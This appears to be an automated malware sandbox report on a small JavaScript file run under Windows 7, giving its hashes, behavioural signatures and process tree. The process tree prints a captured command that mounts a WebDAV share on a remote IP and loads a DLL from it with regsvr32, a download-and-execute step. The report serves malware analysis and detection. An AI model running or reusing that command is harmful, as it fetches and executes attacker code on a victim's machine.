Analysis

  • max time kernel
    118s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    23/07/2024, 03:09

General

  • Target

    a861d7f3bca8ff35386d2498a13c2900b9ecc1d77ed617556cc54c8a3df251f4.js

  • Size

    4KB

  • MD5

    a3255db5247a55b61c7e6598cf8729f7

  • SHA1

    2e36e9388f73e2789aa5d4c641b9bccd4f62d9a1

  • SHA256

    a861d7f3bca8ff35386d2498a13c2900b9ecc1d77ed617556cc54c8a3df251f4

  • SHA512

    05870dfb45106df37164509e7b76a2e6a36d2af8daaf01ba9d142a19da76814d045d52c8f04f0f92f679a2c7e6e0bcba652ec79cb815716168e67bea04efc93d

  • SSDEEP

    96:n+SNwYKnV0R4MoHWDGLJY4mHoXHWjwm944gERvd1KKEvAk/99Rvd1KKEvaQe:+ZVKA2V7lMAk1lM2

Score
3/10

Malware Config

Signatures

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\a861d7f3bca8ff35386d2498a13c2900b9ecc1d77ed617556cc54c8a3df251f4.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2516
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\298592004022503.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1228
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2140

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads